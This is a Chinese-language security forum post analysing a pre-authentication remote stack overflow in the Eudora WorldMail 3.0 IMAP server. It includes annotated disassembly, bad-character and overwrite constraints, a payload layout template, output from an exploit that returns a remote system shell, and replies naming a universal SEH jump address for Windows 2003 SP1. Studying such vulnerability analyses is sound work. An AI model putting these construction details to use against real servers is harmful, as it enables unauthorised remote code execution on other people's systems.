[原创]Eduro WorldMail3.0 6.1.19.0 IMAPd Pre-Auth远程溢出分析
版权所有,谢绝转载!
前言:
本来以为这个漏洞需要用alpha shellcode,但是比较好写的地方只有540bytes,对alpha来说太小了。
后来仔细跟了下,终于搞定了。
milw0rm上那个覆盖seh的在2000上适用。不知什么原因,我在2k3上覆盖seh不成功。
所以就覆盖函数返回地址了。
/*
Eudora WorldMail IMAP Server Multiple Vulnerabilities
http://www.milw0rm.com/exploits/1380
http://secunia.com/advisories/17640/
2) A boundary error exists in the IMAP server when parsing user-supplied IMAP commands. This can be exploited to cause a stack-based overflow via a long string containing a "}" character.
Successful exploitation allows arbitrary code execution without requiring prior authentication.
The vulnerabilities have been reported in version 3.0. Prior versions may also be affected.
漏洞分析:
by axis
2006-12-14
溢出函数在
bp 0×0040c5ea
0040C8AE 8B55 0C MOV EDX,DWORD PTR SS:[EBP+C]
0040C8B1 8B82 E4020000 MOV EAX,DWORD PTR DS:[EDX+2E4]
0040C8B7 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
0040C8BA 8B51 0C MOV EDX,DWORD PTR DS:[ECX+C]
0040C8BD 8D4410 FD LEA EAX,DWORD PTR DS:[EAX+EDX-3]
0040C8C1 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
0040C8C4 68 CC044400 PUSH IMAP4A.004404CC ; ASCII "}
"
0040C8C9 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
0040C8CC 51 PUSH ECX
0040C8CD E8 7E250100 CALL IMAP4A.0041EE50
在这里判断末尾的 } 符号
接下来这里
0040C8FC 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
0040C900 72 41 JB SHORT IMAP4A.0040C943
0040C902 83BD E4FDFFFF 0>CMP DWORD PTR SS:[EBP-21C],0
0040C909 7C 38 JL SHORT IMAP4A.0040C943
0040C90B 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
0040C90E 8B91 E4020000 MOV EDX,DWORD PTR DS:[ECX+2E4]
0040C914 8B85 E4FDFFFF MOV EAX,DWORD PTR SS:[EBP-21C]
0040C91A 0FBE0C02 MOVSX ECX,BYTE PTR DS:[EDX+EAX]
0040C91E 83F9 7B CMP ECX,7B //注意这里需要过滤一个badchar 0×7b
0040C921 74 20 JE SHORT IMAP4A.0040C943
0040C923 8B95 60FDFFFF MOV EDX,DWORD PTR SS:[EBP-2A0]
0040C929 83C2 01 ADD EDX,1
0040C92C 8995 60FDFFFF MOV DWORD PTR SS:[EBP-2A0],EDX
0040C932 8B85 E4FDFFFF MOV EAX,DWORD PTR SS:[EBP-21C]
0040C938 83E8 01 SUB EAX,1
0040C93B 8985 E4FDFFFF MOV DWORD PTR SS:[EBP-21C],EAX
0040C941 ^ EB B9 JMP SHORT IMAP4A.0040C8FC
接下来开始拷贝,缺少长度检查
0040C953 8B55 0C MOV EDX,DWORD PTR SS:[EBP+C]
0040C956 8B82 E4020000 MOV EAX,DWORD PTR DS:[EDX+2E4]
0040C95C 8B8D E4FDFFFF MOV ECX,DWORD PTR SS:[EBP-21C]
0040C962 8D5408 01 LEA EDX,DWORD PTR DS:[EAX+ECX+1]
0040C966 52 PUSH EDX
0040C967 8D85 64FDFFFF LEA EAX,DWORD PTR SS:[EBP-29C]
0040C96D 50 PUSH EAX
0040C96E E8 AD0F0100 CALL IMAP4A.0041D920 //类似 strcpy([ebp-29c], [eax+ecx+1]);
接下来
0040C973 83C4 0C ADD ESP,0C
0040C976 8B8D 60FDFFFF MOV ECX,DWORD PTR SS:[EBP-2A0]
0040C97C C6840D 64FDFFFF>MOV BYTE PTR SS:[EBP+ECX-29C],0 //注意这里会把buffer后的一个字节变成0
接下来
0040C99F 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
0040C9A2 8B88 E4020000 MOV ECX,DWORD PTR DS:[EAX+2E4]
0040C9A8 8B95 E4FDFFFF MOV EDX,DWORD PTR SS:[EBP-21C]
0040C9AE 0FBE0411 MOVSX EAX,BYTE PTR DS:[ECX+EDX] //注意这里
这里必须让[ECX+EDX]是一个可读的地址,由于如果覆盖了ebp+8以后的,之后的函数会很不好处理,不好返回
所以,只能选择覆盖ebp+4的地方3个字节。
所以为了这里地址有效,必须在ebp-21c处覆盖上计算好的edx值
下面会先send回来一个字符串
0040CAC0 50 PUSH EAX
0040CAC1 68 E4044400 PUSH IMAP4A.004404E4 ; ASCII "%s BAD invalid literal string length
"
0040CAC6 68 00020000 PUSH 200
0040CACB 8D8D F0FDFFFF LEA ECX,DWORD PTR SS:[EBP-210]
0040CAD1 51 PUSH ECX
0040CAD2 E8 D2070100 CALL IMAP4A.0041D2A9
所以在运行端口复用shellcode前,必须先处理掉这个应答
最后函数返回获得控制权。
这里覆盖eip,指向payload在内存中的一个拷贝。且地址开头必须为0×00(因为覆盖ebp+8会很麻烦,而且payload后的一个字节会被改为0×00)
似乎正好有个比较固定的地址。英文版中文版均已经测试。
所以最后的payload构造
#my $payload = NOP . "\xeb\x04" . $edx . NOP . $shellcode . $eip . "}";
似乎比较通用 :)
J:\exploit>eduro_worldmail3_imap_exp.exe 10.0.64.38 143
== Eduro WorldMail3 6.1.19.0 IMAPd Pre-Auth Remote Exploit
== by axis@ph4nt0m
== Pleaz keep it private!
[+] Got banner: * OK WorldMail IMAP4 Server 6.1.19.0 ready
[*]Sending our Evil Payload, Good Luck! ^_^
[+] Ready to Fire!! @_@~~!
[+] Find socket! Cool~~
[*] Sending magic string …
[*] Now Sending Evil
[*] Got a Shell? Then try: help ^_^!
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
D:\WINDOWS\system32>
*/
—————云舒回贴—————
Codz:
|
覆盖了SEH来做的,XP SP2中文系统测试。
——————-我再跟贴———————–
\被论坛过滤了,需要的自己补上。
另外我终于找到原因了。
请教了emm,重新回去看了mslug和emm的讨论
原来2003 sp1和 2003 sp0,xp sp2还不太一样,覆盖seh handler的跳转地址不能在heap,也不能在语言区
需要在加载模块范围内。
我测试了ntdll.dll失败,但是在wshtcpip.dll,和应用程序自己的dll里成功了
最后这个eudora worldmail,在2003 sp1下覆盖seh方式的通用跳转地址为 0×10012428
具体exp就不写了,分析到此为止,这个mail好象也不是很常见,而且国外多点。